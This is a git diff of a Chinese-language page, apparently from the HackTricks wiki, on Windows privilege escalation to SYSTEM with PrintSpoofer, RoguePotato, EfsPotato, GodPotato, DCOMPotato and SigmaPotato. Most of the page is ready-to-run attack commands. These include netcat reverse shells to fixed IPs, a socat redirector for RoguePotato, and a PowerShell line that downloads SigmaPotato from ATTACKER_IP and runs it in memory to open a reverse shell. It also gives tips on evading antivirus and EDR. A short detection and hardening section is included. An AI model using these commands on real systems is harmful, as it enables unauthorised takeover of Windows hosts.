diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
index a5e2678d2..c43390c78 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
@@ -2,7 +2,43 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-> [!WARNING] > **JuicyPotato 在 Windows Server 2019 和 Windows 10 build 1809 及之后的版本上无法使用**。然而， [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** 可以用来 **利用相同的权限并获得 `NT AUTHORITY\SYSTEM`** 级别的访问权限。此 [博客文章](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) 深入探讨了 `PrintSpoofer` 工具，该工具可用于在 JuicyPotato 无法使用的 Windows 10 和 Server 2019 主机上滥用 impersonation 权限。
+> [!WARNING]
+> **JuicyPotato 在 Windows Server 2019 及 Windows 10 build 1809 及更高版本上无法使用。** 然而，[**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** 可以用来 **获得相同的权限并提升到 `NT AUTHORITY\SYSTEM`** 级别访问。 这篇 [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) 深入介绍了 `PrintSpoofer` 工具，该工具可用于在 JuicyPotato 不再有效的 Windows 10 和 Server 2019 主机上滥用 impersonation privileges。
+
+> [!TIP]
+> 一个在 2024–2025 年间持续维护的现代替代方案是 SigmaPotato（GodPotato 的一个分支），它增加了内存/.NET reflection 的使用并扩展了对操作系统的支持。见下方的快速用法以及参考中的仓库。
+
+Related pages for background and manual techniques:
+
+{{#ref}}
+seimpersonate-from-high-to-system.md
+{{#endref}}
+
+{{#ref}}
+from-high-integrity-to-system-with-name-pipes.md
+{{#endref}}
+
+{{#ref}}
+privilege-escalation-abusing-tokens.md
+{{#endref}}
+
+## 要求和常见注意事项
+
+下面所有技术都依赖于从持有以下任一特权的上下文滥用一个支持 impersonation 的特权服务：
+
+- SeImpersonatePrivilege（最常见）或 SeAssignPrimaryTokenPrivilege
+- 如果令牌已经包含 SeImpersonatePrivilege，则不需要 High integrity（这在许多服务账户，例如 IIS AppPool、MSSQL 等中很常见）
+
+快速检查权限：
+```cmd
+whoami /priv | findstr /i impersonate
+```
+操作说明：
+
+- PrintSpoofer 需要 Print Spooler 服务处于运行状态，并且可通过本地 RPC 端点 (spoolss) 访问。在经过加固的环境中，如果 Spooler 在 PrintNightmare 之后被禁用，请优先使用 RoguePotato/GodPotato/DCOMPotato/EfsPotato。
+- RoguePotato 需要可通过 TCP/135 访问的 OXID resolver。如果出口被阻断，使用 redirector/port-forwarder（见下方示例）。旧版构建需要 -f 标志。
+- EfsPotato/SharpEfsPotato 滥用 MS-EFSR；如果某个 pipe 被阻塞，尝试使用替代 pipe（lsarpc、efsrpc、samr、lsass、netlogon）。
+- 在 RpcBindingSetAuthInfo 期间出现错误 0x6d3 通常表示未知或不受支持的 RPC 身份验证服务；尝试使用不同的 pipe/transport 或确保目标服务正在运行。
 
 ## 快速演示
 
@@ -21,12 +57,24 @@ c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"
 NULL
 
 ```
+注意：
+- 你可以使用 -i 在当前控制台生成一个交互式进程，或使用 -c 运行一行命令。
+- 需要 Spooler 服务。如果被禁用，将会失败。
+
 ### RoguePotato
 ```bash
 c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l 9999
 # In some old versions you need to use the "-f" param
 c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
 ```
+如果出站 135 被阻止，请在你的 redirector 上通过 socat pivot OXID resolver：
+```bash
+# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
+socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
+
+# On victim, run RoguePotato with local resolver on 9999 and -r pointing to the redirector IP
+RoguePotato.exe -r REDIRECTOR_IP -e "cmd.exe /c whoami" -l 9999
+```
 ### SharpEfsPotato
 ```bash
 > SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
@@ -63,17 +111,52 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
 
 nt authority\system
 ```
+提示：如果一个 pipe 失败或 EDR 阻止它，尝试其他受支持的 pipes:
+```text
+EfsPotato <cmd> [pipe]
+pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
+```
 ### GodPotato
 ```bash
 > GodPotato -cmd "cmd /c whoami"
 # You can achieve a reverse shell like this.
 > GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
 ```
+说明:
+- 适用于 Windows 8/8.1–11 和 Server 2012–2022，当存在 SeImpersonatePrivilege 时。
+
 ### DCOMPotato
 
 ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
 
-## References
+DCOMPotato 提供两个变体，针对默认使用 RPC_C_IMP_LEVEL_IMPERSONATE 的服务 DCOM 对象。编译或使用提供的二进制文件并运行你的命令：
+```cmd
+# PrinterNotify variant
+PrinterNotifyPotato.exe "cmd /c whoami"
+
+# McpManagementService variant (Server 2022 also)
+McpManagementPotato.exe "cmd /c whoami"
+```
+### SigmaPotato (updated GodPotato fork)
+
+SigmaPotato 添加了现代化的便利功能，例如通过 .NET reflection 实现的内存中执行，以及一个 PowerShell reverse shell 辅助工具。
+```powershell
+# Load and execute from memory (no disk touch)
+[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
+[SigmaPotato]::Main("cmd /c whoami")
+
+# Or ask it to spawn a PS reverse shell
+[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
+```
+## 检测与加固注意事项
+
+- 监控创建命名管道并立即调用令牌复制相关 API，随后使用 CreateProcessAsUser/CreateProcessWithTokenW 的进程。Sysmon 可以揭示有用的遥测信息：Event ID 1（进程创建）、17/18（命名管道创建/连接），以及以 SYSTEM 身份产生子进程的命令行。
+- Spooler 加固：在不需要的服务器上禁用 Print Spooler 服务可防止通过 spoolss 的 PrintSpoofer 式本地强制（coercions）。
+- 服务账户加固：尽量减少将 SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege 分配给自定义服务。考虑在虚拟账户下以最低必要权限运行服务，并在可能时使用 service SID 和写受限令牌进行隔离。
+- 网络控制：阻断出站 TCP/135 或限制 RPC endpoint mapper 流量可以破坏 RoguePotato，除非存在内部重定向器。
+- EDR/AV：这些工具大多有广泛的签名。重新从源码编译、重命名符号/字符串或使用内存执行可以降低被检测的可能性，但无法绕过健壮的行为检测。
+
+## 参考资料
 
 - [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)
 - [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)
@@ -82,5 +165,7 @@ nt authority\system
 - [https://github.com/BeichenDream/GodPotato](https://github.com/BeichenDream/GodPotato)
 - [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
 - [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
+- [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato)
+- [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/)
 
 {{#include ../../banners/hacktricks-training.md}}